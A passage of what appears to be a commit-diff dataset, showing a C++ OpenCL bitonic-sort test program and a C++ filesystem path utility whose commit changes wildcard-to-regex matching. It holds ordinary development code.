((n >>= 0x1) != 0);\n\tsize_t padded_size = 0x1 << p2;\n\n\tunsigned int padd = 0;\n\n\t\/\/ it just needs to be larger really\n\twhile (verticies.size() < padded_size)\n\t{\n\t\tverticies.push_back(FLT_MAX);\n\t\t++padd;\n\t}\n\n\t\/\/  --------------------------\n\t\/\/\n\t\/\/ OpenCL stuff\n\t\/\/\n\t\/\/  --------------------------\n\tcl_int clStatus;\n\n\tCLI *cli_bsort = (CLI*)malloc(sizeof(CLI));\n\tcliInitialize(cli_bsort, errors);\n\tcliBuild(\n\t\tcli_bsort,\n\t\tbitonic_STL_sort_source,\n\t\t\"_kbitonic_stl_sort\",\n\t\terrors);\n\n\t\/\/ Basic initialization and declaration...\n\t\/\/ Execute the OpenCL kernel on the list\n\t\/\/ Each work item shall compare two elements.\n\tsize_t global_size = padded_size \/ 2;\n\t\/\/ This is the size of the work group.\n\tsize_t local_size = WORK_GROUP_SIZE;\n\t\/\/ Calculate the Number of work groups.\n\tsize_t num_of_work_groups = global_size \/ local_size;\n\n\tsize_t bufferSize = verticies.size()*sizeof(verticies[0]);\n\t\/\/Create memory buffers on the device for each vector\n\tcl_mem pInputBuffer_clmem = clCreateBuffer(\n\t\tcli_bsort->context,\n\t\tCL_MEM_READ_WRITE,\n\t\tbufferSize,\n\t\tNULL,\n\t\t&clStatus);\n\terrors.push_back(clStatus);\n\t\/\/ create kernel\n\t\/\/PrintCLIStatus(errors);\n\tclStatus = clEnqueueWriteBuffer(cli_bsort->cmdQueue, pInputBuffer_clmem, CL_TRUE, 0, bufferSize, &verticies[0], NULL, NULL, NULL);\n\terrors.push_back(clStatus);\n\n\tclStatus = clSetKernelArg(\n\t\tcli_bsort->kernel,\n\t\t0,\n\t\tsizeof(cl_mem),\n\t\t(void *)&pInputBuffer_clmem);\n\terrors.push_back(clStatus);\n\n\tunsigned int stage, passOfStage, numStages, temp;\n\tstage = passOfStage = numStages = 0;\n\n\tfor (temp = padded_size; temp > 1; temp >>= 1)\n\t\t++numStages;\n\n\tglobal_size = padded_size >> 1;\n\tlocal_size = WORK_GROUP_SIZE;\n\n\tfor (stage = 0; stage < numStages; ++stage)\n\t{\n\t\t\/\/ stage of the algorithm\n\t\tclStatus = clSetKernelArg(\n\t\t\tcli_bsort->kernel,\n\t\t\t1,\n\t\t\tsizeof(int),\n\t\t\t(void *)&stage);\n\t\terrors.push_back(clStatus);\n\t\t\/\/ Every stage has stage + 1 passes\n\t\tfor (passOfStage = 0; passOfStage < stage + 1; ++passOfStage)\n\t\t{\n\t\t\t\/\/ pass of the current stage\n\t\t\t\/\/printf(\"Pass no: %d\\n\", passOfStage);\n\t\t\tclStatus = clSetKernelArg(\n\t\t\t\tcli_bsort->kernel,\n\t\t\t\t2,\n\t\t\t\tsizeof(int),\n\t\t\t\t(void *)&passOfStage);\n\t\t\t\n\t\t\terrors.push_back(clStatus);\n\n\t\t\t\/\/\n\t\t\t\/\/ Enqueue a kernel run call.\n\t\t\t\/\/ Each thread writes a sorted pair.\n\t\t\t\/\/ So, the number of threads (global) should be half the \n\t\t\t\/\/ length of the input buffer.\n\t\t\t\/\/\n\t\t\tclStatus = clEnqueueNDRangeKernel(\n\t\t\t\tcli_bsort->cmdQueue,\n\t\t\t\tcli_bsort->kernel,\n\t\t\t\t1,\n\t\t\t\tNULL,\n\t\t\t\t&global_size,\n\t\t\t\t&local_size,\n\t\t\t\t0,\n\t\t\t\tNULL,\n\t\t\t\tNULL);\n\t\t\terrors.push_back(clStatus);\n\t\t\t\n\t\t\tclFinish(cli_bsort->cmdQueue);\n\t\t} \/\/end of for passStage = 0:stage-1\n\t} \/\/end of for stage = 0:numStage-1\n\n\tfloat *mapped_input_buffer =\n\t\t(float *)clEnqueueMapBuffer(\n\t\tcli_bsort->cmdQueue,\n\t\tpInputBuffer_clmem,\n\t\ttrue,\n\t\tCL_MAP_READ,\n\t\t0,\n\t\tsizeof(float) * padded_size,\n\t\t0,\n\t\tNULL,\n\t\tNULL,\n\t\t&clStatus);\n\n\terrors.push_back(clStatus);\n\n\n\t\/\/  --------------------------\n\t\/\/\n\t\/\/ Done\n\t\/\/\n\t\/\/  --------------------------\n\n\t\/\/PrintCLIStatus(errors);\n\tstd::vector<float> output;\n\n\t\/\/Check for sortedness\n\tbool everythingIsSorted = true;\n\tfloat prev, val;\n\tfor (int i = 0; i < vert_count; i++)\n\t{\n\t\tval = mapped_input_buffer[i];\n\t\t\/\/printf(\"i=%d: \\t%f \\n\", i, val);\n\t\tif(i > 0 && prev > val)\n\t\t{\n\t\t\teverythingIsSorted = false;\n\t\t\tbreak;\n\t\t}\n\t\tprev = val;\n\t}\n\tif (everythingIsSorted)\n\t\tprintf(\"everything is sorted\");\n\telse\n\t\tprintf(\"everything is NOT sorted\");\n\n\t\/\/ cleanup...\n\tint a;\n\ta = 0;\n\treturn 0;\n}\n<commit_msg>testSort works on linux<commit_after>#include <cstdio>\n#include <cstdlib>\n#include <vector>\n#include <cmath>\n#include <time.h>\n#include <limits>\n\n#include \"..\/include\/sort\/cli.h\"\n#include \"..\/include\/sort\/bitonicSortKernels.h\"\n#include \"..\/include\/sort\/stl.h\"\n\n\n#include <GL\/glew.h>\n\n#ifdef __APPLE__\n#include <GLUT\/glut.h>\n#else\n#include <GL\/glut.h>\n#endif\n\n#include <clew.h>\n#include <util\/functions.hpp>\n#include <util\/gl_buffer_allocator.hpp>\n\n\n#define CL_ERRORS 1\n#define NORMALS\n\/\/#define DATA_TYPE int \n\/\/#define DATA_SIZE 1024\n#define WORK_GROUP_SIZE 64 \/\/ logical errors occur after work group size > 128\n\n#ifndef _WIN32\n#ifndef __APPLE__\n#define TIME 1\n#define BENCHSIZE 16\n#endif\n#endif\n\n#include <vector>\n\n#include <cfloat>\n\n\nint main(int argc, char **argv)\n{\n\n\tglutInit(&argc, argv);\n\tglutInitDisplayMode(GLUT_DEPTH | GLUT_DOUBLE | GLUT_RGBA);\n\tglutInitWindowPosition(100, 100);\n\tglutInitWindowSize(320, 320);\n\tglutCreateWindow(\"Nothing to see here\");\n\n\tglewInit();\n\n\tGLenum gl_err = GL_NO_ERROR;\n\n\tbool clpresent = 0 == clewInit();\n\tif (!clpresent) {\n\t\tthrow std::runtime_error(\"OpenCL library not found\");\n\t}\n\n\tprintf(\"OpenGL Version:\\t\\t%s\\nOpenGL Vendor:\\t\\t%s\\nOpenGL Renderer:\\t%s\\nGLSL Version:\\t\\t%s\\n\",\n\t\tglGetString(GL_VERSION),\n\t\tglGetString(GL_VENDOR),\n\t\tglGetString(GL_RENDERER),\n\t\tglGetString(GL_SHADING_LANGUAGE_VERSION)\n\t\t);\n\n\n\n\tstd::vector<cl_int> errors;\n\tstd::vector<float> verticies;\n\n\tint vert_count = 149;\n\tfor (int i = 0; i < vert_count; ++i)\n\t{\n\t\t\/\/minimalist randomNumber-Generator\n\t\tfloat randomValue;\n\t\trandomValue = fmod((i * 10007.0F) \/ 7.0f, 100.0F);\n\t\tverticies.push_back(randomValue);\n\t\t\/\/printf(\"i=%d: \\t%f \\n\", i, randomValue);\n\t}\n\t\n\t\/\/  --------------------------\n\t\/\/\n\t\/\/ pad our verticies with FLT_MAX's\n\t\/\/\n\t\/\/  --------------------------\n\tunsigned int n = verticies.size() - 1;\n\tunsigned int p2 = 1;\n\n\tsize_t original_vertex_size = verticies.size();\n\tdo ++p2; while ((n >>= 0x1) != 0);\n\tsize_t padded_size = 0x1 << p2;\n\n\tunsigned int padd = 0;\n\n\t\/\/ it just needs to be larger really\n\twhile (verticies.size() < padded_size)\n\t{\n\t\tverticies.push_back(FLT_MAX);\n\t\t++padd;\n\t}\n\n\t\/\/  --------------------------\n\t\/\/\n\t\/\/ OpenCL stuff\n\t\/\/\n\t\/\/  --------------------------\n\tcl_int clStatus;\n\n\tCLI *cli_bsort = (CLI*)malloc(sizeof(CLI));\n\tcliInitialize(cli_bsort, errors);\n\tcliBuild(\n\t\tcli_bsort,\n\t\tbitonic_STL_sort_source,\n\t\t\"_kbitonic_stl_sort\",\n\t\terrors);\n\n\t\/\/ Basic initialization and declaration...\n\t\/\/ Execute the OpenCL kernel on the list\n\t\/\/ Each work item shall compare two elements.\n\tsize_t global_size = padded_size \/ 2;\n\t\/\/ This is the size of the work group.\n\tsize_t local_size = WORK_GROUP_SIZE;\n\t\/\/ Calculate the Number of work groups.\n\tsize_t num_of_work_groups = global_size \/ local_size;\n\n\tsize_t bufferSize = verticies.size()*sizeof(verticies[0]);\n\t\/\/Create memory buffers on the device for each vector\n\tcl_mem pInputBuffer_clmem = clCreateBuffer(\n\t\tcli_bsort->context,\n\t\tCL_MEM_READ_WRITE,\n\t\tbufferSize,\n\t\tNULL,\n\t\t&clStatus);\n\terrors.push_back(clStatus);\n\t\/\/ create kernel\n\t\/\/PrintCLIStatus(errors);\n\tclStatus = clEnqueueWriteBuffer(cli_bsort->cmdQueue, pInputBuffer_clmem, CL_TRUE, 0, bufferSize, &verticies[0], NULL, NULL, NULL);\n\terrors.push_back(clStatus);\n\n\tclStatus = clSetKernelArg(\n\t\tcli_bsort->kernel,\n\t\t0,\n\t\tsizeof(cl_mem),\n\t\t(void *)&pInputBuffer_clmem);\n\terrors.push_back(clStatus);\n\n\tunsigned int stage, passOfStage, numStages, temp;\n\tstage = passOfStage = numStages = 0;\n\n\tfor (temp = padded_size; temp > 1; temp >>= 1)\n\t\t++numStages;\n\n\tglobal_size = padded_size >> 1;\n\tlocal_size = WORK_GROUP_SIZE;\n\n\tfor (stage = 0; stage < numStages; ++stage)\n\t{\n\t\t\/\/ stage of the algorithm\n\t\tclStatus = clSetKernelArg(\n\t\t\tcli_bsort->kernel,\n\t\t\t1,\n\t\t\tsizeof(int),\n\t\t\t(void *)&stage);\n\t\terrors.push_back(clStatus);\n\t\t\/\/ Every stage has stage + 1 passes\n\t\tfor (passOfStage = 0; passOfStage < stage + 1; ++passOfStage)\n\t\t{\n\t\t\t\/\/ pass of the current stage\n\t\t\t\/\/printf(\"Pass no: %d\\n\", passOfStage);\n\t\t\tclStatus = clSetKernelArg(\n\t\t\t\tcli_bsort->kernel,\n\t\t\t\t2,\n\t\t\t\tsizeof(int),\n\t\t\t\t(void *)&passOfStage);\n\t\t\t\n\t\t\terrors.push_back(clStatus);\n\n\t\t\t\/\/\n\t\t\t\/\/ Enqueue a kernel run call.\n\t\t\t\/\/ Each thread writes a sorted pair.\n\t\t\t\/\/ So, the number of threads (global) should be half the \n\t\t\t\/\/ length of the input buffer.\n\t\t\t\/\/\n\t\t\tclStatus = clEnqueueNDRangeKernel(\n\t\t\t\tcli_bsort->cmdQueue,\n\t\t\t\tcli_bsort->kernel,\n\t\t\t\t1,\n\t\t\t\tNULL,\n\t\t\t\t&global_size,\n\t\t\t\t&local_size,\n\t\t\t\t0,\n\t\t\t\tNULL,\n\t\t\t\tNULL);\n\t\t\terrors.push_back(clStatus);\n\t\t\t\n\t\t\tclFinish(cli_bsort->cmdQueue);\n\t\t} \/\/end of for passStage = 0:stage-1\n\t} \/\/end of for stage = 0:numStage-1\n\n\tfloat *mapped_input_buffer =\n\t\t(float *)clEnqueueMapBuffer(\n\t\tcli_bsort->cmdQueue,\n\t\tpInputBuffer_clmem,\n\t\ttrue,\n\t\tCL_MAP_READ,\n\t\t0,\n\t\tsizeof(float) * padded_size,\n\t\t0,\n\t\tNULL,\n\t\tNULL,\n\t\t&clStatus);\n\n\terrors.push_back(clStatus);\n\n\n\t\/\/  --------------------------\n\t\/\/\n\t\/\/ Done\n\t\/\/\n\t\/\/  --------------------------\n\n\t\/\/PrintCLIStatus(errors);\n\tstd::vector<float> output;\n\n\t\/\/Check for sortedness\n\tbool everythingIsSorted = true;\n\tfloat prev, val;\n\tfor (int i = 0; i < vert_count; i++)\n\t{\n\t\tval = mapped_input_buffer[i];\n\t\t\/\/printf(\"i=%d: \\t%f \\n\", i, val);\n\t\tif(i > 0 && prev > val)\n\t\t{\n\t\t\teverythingIsSorted = false;\n\t\t\tbreak;\n\t\t}\n\t\tprev = val;\n\t}\n\tif (everythingIsSorted)\n\t\tprintf(\"everything is sorted\");\n\telse\n\t\tprintf(\"everything is NOT sorted\");\n\n\t\/\/ cleanup...\n\tint a;\n\ta = 0;\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"dir.hpp\"\n\nnamespace spn {\n\t\/\/ -------------------------- Dir --------------------------\n\tconst char Dir::SC('\/'),\n\t\t\t\tDir::DOT('.'),\n\t\t\t\tDir::EOS('\\0'),\n\t\t\t\t*Dir::SC_P(u8\"\/\"),\n\t\t\t\tDir::LBK('['),\n\t\t\t\tDir::RBK(']');\n\tDir::Dir(Dir&& d): PathBlock(std::move(d)) {}\n\tDir& Dir::operator = (Dir&& d) {\n\t\tstatic_cast<PathBlock&>(*this) = std::move(static_cast<PathBlock&>(d));\n\t\treturn *this;\n\t}\n\tstd::string Dir::GetCurrentDir() {\n\t\treturn To8Str(DirDep::GetCurrentDir()).moveTo();\n\t}\n\tstd::string Dir::GetProgramDir() {\n\t\treturn To8Str(DirDep::GetProgramDir()).moveTo();\n\t}\n\tvoid Dir::SetCurrentDir(const std::string& path) {\n\t\tPathStr ps;\n\t\t\/\/ Windows環境において先頭のドライブ文字を削る\n\t\tif(path.length() > 1 &&\n\t\t\t::isalpha(path[0]) && path[1] == ':')\n\t\t{\n\t\t\tps = ToPathStr(path.substr(2)).moveTo();\n\t\t} else\n\t\t\tps = ToPathStr(path).moveTo();\n\t\tDirDep::SetCurrentDir(ps);\n\t}\n\tstd::string Dir::ToRegEx(const std::string& s) {\n\t\t\/\/ ワイルドカード記述の置き換え\n\t\t\/\/ * -> ([_ \\-\\w]+)\n\t\t\/\/ ? -> ([_ \\-\\w])\n\t\t\/\/ . -> (\\.)\n\n\t\t\/\/ バックスラッシュをスラッシュに置き換え\n\t\t\/\/ \\ -> \/\n\t\tboost::regex re[4] = {boost::regex(R\"(\\\\)\"), boost::regex(R\"(\\*)\"), boost::regex(R\"(\\?)\"), boost::regex(R\"(\\.)\")};\n\t\tstd::string s2 = boost::regex_replace(s, re[0], R\"(\/)\");\n\t\ts2 = boost::regex_replace(s2, re[1], R\"([_ \\\\-\\\\w]+)\");\n\t\ts2 = boost::regex_replace(s2, re[2], R\"([_ \\\\-\\\\w])\");\n\t\ts2 = boost::regex_replace(s2, re[3], R\"(\\\\.)\");\n\t\treturn s2;\n\t}\n\tstd::string Dir::setCurrentDir() const {\n\t\tstd::string prev = GetCurrentDir();\n\t\tSetCurrentDir(plain_utf8());\n\t\treturn prev;\n\t}\n\tDir::StrList Dir::EnumEntryRegEx(const std::string& r) {\n\t\tStrList res;\n\t\tEnumEntryRegEx(r, [&res](const Dir& dir){\n\t\t\tres.push_back(dir.plain_utf8());\n\t\t});\n\t\treturn res;\n\t}\n\tDir::StrList Dir::EnumEntryWildCard(const std::string& s) {\n\t\treturn EnumEntryRegEx(ToRegEx(s));\n\t}\n\tvoid Dir::EnumEntryWildCard(const std::string& s, EnumCB cb) {\n\t\tEnumEntryRegEx(ToRegEx(s), cb);\n\t}\n\tDir::RegexL Dir::_ParseRegEx(const std::string& r) {\n\t\tRegexL rl;\n\t\tauto itr = r.begin(),\n\t\t\titrE = r.end(),\n\t\t\titr0 = itr;\n\t\tbool bSkip = false;\n\t\twhile(itr != itrE) {\n\t\t\tauto c = *itr;\n\t\t\tif(bSkip) {\n\t\t\t\tif(c == RBK)\n\t\t\t\t\tbSkip = false;\n\t\t\t} else {\n\t\t\t\tif(c == LBK)\n\t\t\t\t\tbSkip = true;\n\t\t\t\telse if(c == SC) {\n\t\t\t\t\tauto diff = itr - itr0;\n\t\t\t\t\tbool bIgnore = false;\n\t\t\t\t\tif(diff == 0)\n\t\t\t\t\t\tbIgnore = true;\n\t\t\t\t\telse if(diff >= 2) {\n\t\t\t\t\t\tif(*itr0 == '\\\\' && *(itr0+1) == '.') {\n\t\t\t\t\t\t\tif(diff == 2) {\n\t\t\t\t\t\t\t\t\/\/ セグメントをスキップ\n\t\t\t\t\t\t\t\tbIgnore = true;\n\t\t\t\t\t\t\t} else if(diff == 4 && (*(itr0+2) == '\\\\' && *(itr0+3) == '.')) {\n\t\t\t\t\t\t\t\t\/\/ セグメントを1つ戻す\n\t\t\t\t\t\t\t\tAssert(Trap, !rl.empty())\n\t\t\t\t\t\t\t\trl.pop_back();\n\t\t\t\t\t\t\t\tbIgnore = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif(!bIgnore)\n\t\t\t\t\t\trl.emplace_back(itr0, itr);\n\t\t\t\t\titr0 = ++itr;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\t++itr;\n\t\t}\n\t\tif(itr0 != itr)\n\t\t\trl.emplace_back(itr0, itr);\n\t\treturn rl;\n\t}\n\tvoid Dir::_EnumEntryRegEx(RegexItr itr, RegexItr itrE, std::string& lpath, size_t baseLen, EnumCB cb) {\n\t\tif(itr == itrE)\n\t\t\treturn;\n\n\t\tsize_t pl = lpath.size();\n\t\tDirDep::EnumEntry(lpath, [=, &lpath, &cb](const PathCh* name, bool) {\n\t\t\tif(name[0]==PathCh(DOT)) {\n\t\t\t\tif(name[1]==PathCh(EOS) || name[1]==PathCh(DOT))\n\t\t\t\t\treturn;\n\t\t\t}\n\t\t\tstd::string s(To8Str(name).moveTo());\n\t\t\tboost::smatch m;\n\t\t\tif(boost::regex_match(s, m, *itr)) {\n\t\t\t\tif(lpath.back() != SC)\n\t\t\t\t\tlpath += SC;\n\t\t\t\tlpath += s;\n\t\t\t\tif(DirDep::IsDirectory(ToPathStr(lpath))) {\n\t\t\t\t\tif(itr+1 != itrE)\n\t\t\t\t\t\t_EnumEntryRegEx(itr+1, itrE, lpath, baseLen, cb);\n\t\t\t\t\telse\n\t\t\t\t\t\tcb(Dir(lpath));\n\t\t\t\t} else\n\t\t\t\t\tcb(Dir(lpath));\n\t\t\t\tlpath.resize(pl);\n\t\t\t}\n\t\t});\n\t}\n\tvoid Dir::_EnumEntry(const std::string& \/*s*\/, const std::string& path, EnumCB cb) {\n\t\tDirDep::EnumEntry(path, [&cb](const PathCh* name, bool \/*bDir*\/) {\n\t\t\tPathStr s(ToPathStr(name).moveTo());\n\t\t\tif(s == name)\n\t\t\t\tcb(Dir(s));\n\t\t});\n\t}\n\tvoid Dir::EnumEntryRegEx(const std::string& r, EnumCB cb) {\n\t\tif(r.empty())\n\t\t\treturn;\n\t\tstd::string path;\n\t\t\/\/ 絶対パスの時は内部パスを無視する\n\t\tint ofs = 0;\n\t\tbool bAbs = false;\n\t\tif(r[0] == '\/') {\n\t\t\t#ifdef WIN32\n\t\t\t\tAssert(Throw, false, \"invalid absolute path\")\n\t\t\t#endif\n\t\t\tpath += '\/';\n\t\t\tofs = 1;\n\t\t\tbAbs = true;\n\t\t} else if(auto letter = _GetDriveLetter(&r[0], &r[0] + r.length())) {\n\t\t\t\/\/ windowsの場合のみドライブ文字を出力\n\t\t\t#ifdef WIN32\n\t\t\t\tpath += *letter;\n\t\t\t\tpath += ':';\n\t\t\t#else\n\t\t\t\tpath += '\/';\n\t\t\t#endif\n\t\t\tofs = 2;\n\t\t\tbAbs = true;\n\t\t}\n\t\tif(!bAbs)\n\t\t\tpath += \".\/\";\n\n\t\ttry {\n\t\t\tRegexL rl = _ParseRegEx(r.substr(ofs));\n\t\t\t_EnumEntryRegEx(rl.begin(), rl.end(), path, path.size()+1, cb);\n\t\t} catch(const boost::regex_error& e) {\n\t\t\t\/\/ 正規表現に何かエラーがある時は単純に文字列比較とする\n\t\t\t_EnumEntry(r, path, cb);\n\t\t}\n\t}\n\tbool Dir::isFile() const {\n\t\treturn DirDep::IsFile(plain_utf32());\n\t}\n\tbool Dir::isDirectory() const {\n\t\treturn DirDep::IsDirectory(plain_utf32());\n\t}\n\tvoid Dir::remove() const {\n\t\tDirDep::Remove(plain_utf32());\n\t}\n\tvoid Dir::copy(const std::string& to) const {\n\t\tDirDep::Copy(plain_utf32(), to);\n\t}\n\tvoid Dir::move(const std::string& to) const {\n\t\tDirDep::Move(plain_utf32(), to);\n\t}\n\tvoid Dir::mkdir(uint32_t mode) const {\n\t\tPathReset preset;\n\t\tif(isAbsolute())\n\t\t\tDirDep::Chdir(SC_P);\n\t\tmode |= FStatus::UserRWX;\n\n\t\tint nsg = segments();\n\t\tstd::string ns;\n\t\tint i;\n\t\t\/\/ 最初のパスから1つずつ存在確認\n\t\tfor(i=0 ; i<nsg ; i++) {\n\t\t\tns = getSegment_utf8(i,i+1);\n\t\t\tif(!DirDep::Chdir_nt(ns))\n\t\t\t\tbreak;\n\t\t}\n\t\tif(i == nsg)\n\t\t\treturn;\n\n\t\t\/\/ パスがファイルだったら失敗とする\n\t\tAssert(Throw, !DirDep::IsFile(ns), \"there is file at the path\")\n\t\tfor(;;) {\n\t\t\tDirDep::Mkdir(ns, mode);\n\t\t\tDirDep::Chdir(ns);\n\t\t\tif(++i == nsg)\n\t\t\t\tbreak;\n\t\t\tns = getSegment_utf8(i,i+1);\n\t\t}\n\t}\n\tvoid Dir::_chmod(PathBlock& lpath, ModCB cb) {\n\t\tDirDep::EnumEntry(lpath.plain_utf32(), [&lpath, this, cb](const PathCh* name, bool) {\n\t\t\tlpath <<= name;\n\t\t\tif(ChMod(lpath, cb))\n\t\t\t\t_chmod(lpath, cb);\n\t\t\tlpath.popBack();\n\t\t});\n\t}\n\tbool Dir::ChMod(const PathBlock& pb, ModCB cb) {\n\t\tToPathStr path = pb.plain_utf32();\n\t\tFStatus fstat = DirDep::Status(path);\n\t\tbool bDir = fstat.flag & FStatus::DirectoryType;\n\t\tif(bDir)\n\t\t\tfstat.flag |= FStatus::UserExec;\n\t\tbool bRecr = cb(pb, fstat);\n\t\tDirDep::Chmod(path, fstat.flag);\n\t\treturn bDir && bRecr;\n\t}\n\tvoid Dir::chmod(ModCB cb) {\n\t\tPathBlock pb(*this);\n\t\tif(ChMod(pb, cb))\n\t\t\t_chmod(pb, cb);\n\t}\n\tvoid Dir::chmod(uint32_t mode) {\n\t\tchmod([mode](const PathBlock&, FStatus& fs) {\n\t\t\tfs.flag = mode;\n\t\t\treturn false;\n\t\t});\n\t}\n\tFILE* Dir::openAsFP(const char* mode) const {\n\t\treturn std::fopen(To8Str(plain_utf32()).getStringPtr(), mode);\n\t}\n\tFStatus Dir::status() const {\n\t\treturn DirDep::Status(plain_utf8());\n\t}\n\tvoid Dir::RemoveAll(const std::string& path) {\n\t\tif(DirDep::IsDirectory(path)) {\n\t\t\tauto prev = Dir::GetCurrentDir();\n\t\t\tDir::SetCurrentDir(path);\n\t\t\t\/\/ 下層のファイルやディレクトリを削除\n\t\t\tEnumEntryWildCard(\"*\", [](const Dir& d){\n\t\t\t\tRemoveAll(d.plain_utf8(true));\n\t\t\t});\n\t\t\tDirDep::Rmdir(path);\n\t\t\tDir::SetCurrentDir(prev);\n\t\t} else\n\t\t\tDirDep::Remove(path);\n\t}\n\tstd::string Dir::plain_utf8(bool bAbs) const {\n\t\tif(bAbs) {\n\t\t\tif(!PathBlock::isAbsolute()) {\n\t\t\t\tPathBlock pb(GetCurrentDir());\n\t\t\t\tpb <<= static_cast<const PathBlock&>(*this);\n\t\t\t\treturn pb.plain_utf8(true);\n\t\t\t}\n\t\t}\n\t\treturn PathBlock::plain_utf8(true);\n\t}\n\tstd::u32string Dir::plain_utf32(bool bAbs) const {\n\t\tif(bAbs) {\n\t\t\tif(!PathBlock::isAbsolute()) {\n\t\t\t\tPathBlock pb(GetCurrentDir());\n\t\t\t\tpb <<= static_cast<const PathBlock&>(*this);\n\t\t\t\treturn pb.plain_utf32(true);\n\t\t\t}\n\t\t}\n\t\treturn PathBlock::plain_utf32(true);\n\t}\n\n\t\/\/ -------------------------- URI --------------------------\n\tconst std::string URI::SEP(u8\":\/\/\");\n\tconst std::u32string URI::SEP32(U\":\/\/\");\n\tURI::URI() {}\n\tURI::URI(URI&& u): PathBlock(std::move(u)), _type(std::move(u._type)) {}\n\tURI::URI(To8Str p) {\n\t\tsetPath(p);\n\t}\n\tURI::URI(To8Str typ, To8Str path): PathBlock(path), _type(typ.moveTo()) {}\n\tURI::URI(To8Str typ, const PathBlock& pb): PathBlock(pb), _type(typ.moveTo()) {}\n\n\tURI& URI::operator = (URI&& u) {\n\t\tstatic_cast<PathBlock&>(*this) = std::move(u);\n\t\t_type = std::move(u._type);\n\t\treturn *this;\n\t}\n\tvoid URI::setPath(To8Str p) {\n\t\tstd::string path(p.moveTo());\n\t\tboost::regex re(\"^([\\\\w\\\\d_]+):\/\/\");\n\t\tboost::smatch m;\n\t\tif(boost::regex_search(path, m, re)) {\n\t\t\t_type = m.str(1);\n\t\t\tPathBlock::setPath(path.substr(m[0].length()));\n\t\t} else\n\t\t\tPathBlock::setPath(std::move(path));\n\t}\n\tconst std::string& URI::getType_utf8() const {\n\t\treturn _type;\n\t}\n\tvoid URI::setType(To8Str typ) {\n\t\t_type = typ.moveTo();\n\t}\n\tconst PathBlock& URI::path() const {\n\t\treturn *this;\n\t}\n\tPathBlock& URI::path() {\n\t\treturn *this;\n\t}\n\tstd::string URI::plainUri_utf8() const {\n\t\tauto ret = _type;\n\t\tret.append(SEP);\n\t\tret.append(plain_utf8());\n\t\treturn ret;\n\t}\n\tstd::u32string URI::plainUri_utf32() const {\n\t\tauto ret = To32Str(_type).moveTo();\n\t\tret.append(SEP32);\n\t\tret.append(plain_utf32());\n\t\treturn ret;\n\t}\n\tbool URI::operator == (const URI& u) const {\n\t\treturn _type == u._type\n\t\t\t\t&& static_cast<const PathBlock&>(*this) == u;\n\t}\n\tbool URI::operator != (const URI& u) const {\n\t\treturn !(this->operator == (u));\n\t}\n}\n<commit_msg>Dir::ToRegEx()で*を指定した際に.を含むようにした<commit_after>#include \"dir.hpp\"\n\nnamespace spn {\n\t\/\/ -------------------------- Dir --------------------------\n\tconst char Dir::SC('\/'),\n\t\t\t\tDir::DOT('.'),\n\t\t\t\tDir::EOS('\\0'),\n\t\t\t\t*Dir::SC_P(u8\"\/\"),\n\t\t\t\tDir::LBK('['),\n\t\t\t\tDir::RBK(']');\n\tDir::Dir(Dir&& d): PathBlock(std::move(d)) {}\n\tDir& Dir::operator = (Dir&& d) {\n\t\tstatic_cast<PathBlock&>(*this) = std::move(static_cast<PathBlock&>(d));\n\t\treturn *this;\n\t}\n\tstd::string Dir::GetCurrentDir() {\n\t\treturn To8Str(DirDep::GetCurrentDir()).moveTo();\n\t}\n\tstd::string Dir::GetProgramDir() {\n\t\treturn To8Str(DirDep::GetProgramDir()).moveTo();\n\t}\n\tvoid Dir::SetCurrentDir(const std::string& path) {\n\t\tPathStr ps;\n\t\t\/\/ Windows環境において先頭のドライブ文字を削る\n\t\tif(path.length() > 1 &&\n\t\t\t::isalpha(path[0]) && path[1] == ':')\n\t\t{\n\t\t\tps = ToPathStr(path.substr(2)).moveTo();\n\t\t} else\n\t\t\tps = ToPathStr(path).moveTo();\n\t\tDirDep::SetCurrentDir(ps);\n\t}\n\tstd::string Dir::ToRegEx(const std::string& s) {\n\t\t\/\/ ワイルドカード記述の置き換え\n\t\t\/\/ * -> ([_ \\.\\-\\w]+?)\n\t\t\/\/ ? -> ([_ \\.\\-\\w])\n\t\t\/\/ . -> (\\.)\n\n\t\t\/\/ バックスラッシュをスラッシュに置き換え\n\t\t\/\/ \\ -> \/\n\t\tboost::regex re[4] = {boost::regex(R\"(\\\\)\"), boost::regex(R\"(\\*)\"), boost::regex(R\"(\\?)\"), boost::regex(R\"(\\.)\")};\n\t\tstd::string s2 = boost::regex_replace(s, re[0], R\"(\/)\");\n\t\ts2 = boost::regex_replace(s2, re[3], R\"(\\\\.)\");\n\t\ts2 = boost::regex_replace(s2, re[2], R\"([_ \\\\.\\\\-\\\\w])\");\n\t\ts2 = boost::regex_replace(s2, re[1], R\"([_ \\\\.\\\\-\\\\w]+?)\");\n\t\treturn s2;\n\t}\n\tstd::string Dir::setCurrentDir() const {\n\t\tstd::string prev = GetCurrentDir();\n\t\tSetCurrentDir(plain_utf8());\n\t\treturn prev;\n\t}\n\tDir::StrList Dir::EnumEntryRegEx(const std::string& r) {\n\t\tStrList res;\n\t\tEnumEntryRegEx(r, [&res](const Dir& dir){\n\t\t\tres.push_back(dir.plain_utf8());\n\t\t});\n\t\treturn res;\n\t}\n\tDir::StrList Dir::EnumEntryWildCard(const std::string& s) {\n\t\treturn EnumEntryRegEx(ToRegEx(s));\n\t}\n\tvoid Dir::EnumEntryWildCard(const std::string& s, EnumCB cb) {\n\t\tEnumEntryRegEx(ToRegEx(s), cb);\n\t}\n\tDir::RegexL Dir::_ParseRegEx(const std::string& r) {\n\t\tRegexL rl;\n\t\tauto itr = r.begin(),\n\t\t\titrE = r.end(),\n\t\t\titr0 = itr;\n\t\tbool bSkip = false;\n\t\twhile(itr != itrE) {\n\t\t\tauto c = *itr;\n\t\t\tif(bSkip) {\n\t\t\t\tif(c == RBK)\n\t\t\t\t\tbSkip = false;\n\t\t\t} else {\n\t\t\t\tif(c == LBK)\n\t\t\t\t\tbSkip = true;\n\t\t\t\telse if(c == SC) {\n\t\t\t\t\tauto diff = itr - itr0;\n\t\t\t\t\tbool bIgnore = false;\n\t\t\t\t\tif(diff == 0)\n\t\t\t\t\t\tbIgnore = true;\n\t\t\t\t\telse if(diff >= 2) {\n\t\t\t\t\t\tif(*itr0 == '\\\\' && *(itr0+1) == '.') {\n\t\t\t\t\t\t\tif(diff == 2) {\n\t\t\t\t\t\t\t\t\/\/ セグメントをスキップ\n\t\t\t\t\t\t\t\tbIgnore = true;\n\t\t\t\t\t\t\t} else if(diff == 4 && 